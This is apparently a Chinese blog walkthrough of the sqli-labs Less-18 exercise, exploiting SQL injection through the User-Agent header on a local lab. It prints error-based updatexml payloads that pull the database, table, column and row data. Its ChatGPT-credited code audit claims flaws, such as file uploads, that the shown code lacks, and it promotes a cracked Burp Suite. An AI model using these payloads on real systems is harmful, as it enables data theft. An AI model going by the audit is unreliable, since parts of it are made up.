51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

sqli-labs系列——Less-18

摘要 {#摘要}

本文介绍了如何通过Less-18这道SQL注入题目来学习和掌握SQL注入攻击的基本技术和方法。通过审计代码和抓包分析,我们发现该题目存在SQL注入漏洞,可以通过修改User-Agent值来进行注入攻击。然后,我们通过判断库名、表名和列名等方式来获取目标网站的敏感信息,最终成功获取到emails表中的id数据。同时,本文还介绍了该代码存在的安全问题,并提供了相应的解决方法。

前言 {#前言}

Less-18这题和之前题目稍微有所区别,当我们访问进去发现页面显示了我们的ip,在访问任意网站的时候都要注意,一旦发现页面记录了你的浏览器信息或者ip信息之类的你就应该想到头注入

| 请求头参数 | 含义 | |-----------------|--------------------------------------------| | User-Agent | 浏览器的身份标识字符串 | | Referer | 表示浏览器所访问的前一个页面,可以认为是之前访问页面 的链接将浏览器带到了当前页面。 | | Accept | 可接受的响应内容类型(Content-Types)。 | | X-Forwarded-For | 可以用来表示 HTTP 请求端真实 IP | | Date | 发送该消息的日期和时间(以RFC 7231中定义的"HTTP日期"格式来发送) |

前期准备 {#前期准备}

开启phpstudy,开启apache服务以及mysql服务

图片-1686619451321

实验环节 {#实验环节}

浏览器访问Less-18 {#浏览器访问Less-18}

http://127.0.0.1/sqli-labs-master/Less-18/

图片-1686877688918 通过观察页面输出显示的是我们的host地址

开启火狐浏览器代理设置,bp截取相关流量数据 {#开启火狐浏览器代理设置,bp截取相关流量数据}

通过查询我们数据库用前面已知的账号密码进行登录,这里我选择Dumb,Dumb

image-1687064566255 image-1687064608744 我们发现会回显出user-agent

通过Chatgpt对以下代码进行审计

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";

    		}




这段代码是一个基于MySQL数据库的用户身份验证脚本,下面对其进行代码审计:

1. 第一行定义了一个SQL查询语句,从"users"表中选择"username"和"password"列,其中"username"和"password"值分别为$uname和$passwd的值,按照"id"列降序排列,只选出第一行。

2. 第二行执行SQL查询语句并将结果存储在$result1变量中。

3. 第三行使用mysql_fetch_array()函数从结果集中获取一行数据并将其存储在$row1变量中。

4. 第四行检查$row1是否有值,如果有,则执行以下操作:

   a. 输出一个黄色的文本,显示"Your User Agent is:"和$uagent的值。

   b. 将$uagent、$IP和$uname的值插入到"uagents"表中。

   c. 输出一个蓝色的文本,显示"Your User Agent is:"和$uagent的值。

   d. 输出任何MySQL错误信息。

   e. 输出一个图像文件"flag.jpg"。

从安全角度来看,这段代码存在以下问题:

1. SQL注入攻击:$uname和$passwd的值未经过任何过滤或转义就直接插入到SQL查询语句中,可能导致SQL注入攻击。建议使用预处理语句或使用过滤函数(如mysql_real_escape_string())来防止SQL注入攻击。

2. 明文密码存储:该脚本直接将明文密码存储在数据库中,建议使用哈希算法加密密码并将加密后的值存储到数据库中。

3. 不安全的会话管理:该脚本没有任何会话管理机制,如会话ID的传递和验证等,容易受到会话劫持和会话固定攻击等攻击。建议使用PHP内置的会话管理函数(如session_start()和session_regenerate_id())来管理会话。

4. 不安全的文件操作:该脚本没有对用户上传的文件进行任何检查或过滤,容易受到文件包含和文件上传漏洞等攻击。建议对用户上传的文件进行检查和过滤,或将用户上传的文件存储在与Web根目录之外的目录中。

5. 不安全的输入验证:该脚本没有对用户输入进行任何验证或过滤,容易受到跨站脚本攻击和HTML注入攻击等攻击。建议对用户输入进行验证和过滤,如使用过滤函数(如htmlspecialchars()和strip_tags())来防止跨站脚本攻击。

启动bp抓包 {#启动bp抓包}

这里我用的是最新版的绿色版bp,无需安装,windows使用,一键脚本激活,下载方式,点击主页的加群通知进入群聊获取各种优质工具包。进群的目的就是为了打造一个生态的开发及网络安全环境

图片-1687057235268

通过审计得出该处存在sql注入,那么我们通过bp抓包来修改User-Agent值

image-1687065030653 image-1687065162980 image-1687065418561

判断库名 {#判断库名}

'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1)-- xz

image-1687065502409

判断表名 {#判断表名}

-1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1),1,1)-- xz
-1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 1,1),0x7e),1),1,1)-- xz
.....判断其他表名limit后面跟2,1;3,1;4,1等等,以此类推

image-1687066621601 image-1687066669795

判断列名 {#判断列名}

-1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1),1,1)-- xz
......以此类推,想要判断其他列名,更改limit后面的参数即可

image-1687066810168

判断数据 {#判断数据}

-1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1),1,1)-- xz

image-1687066927832

赞(0)
未经允许不得转载:工具盒子 » sqli-labs系列——Less-18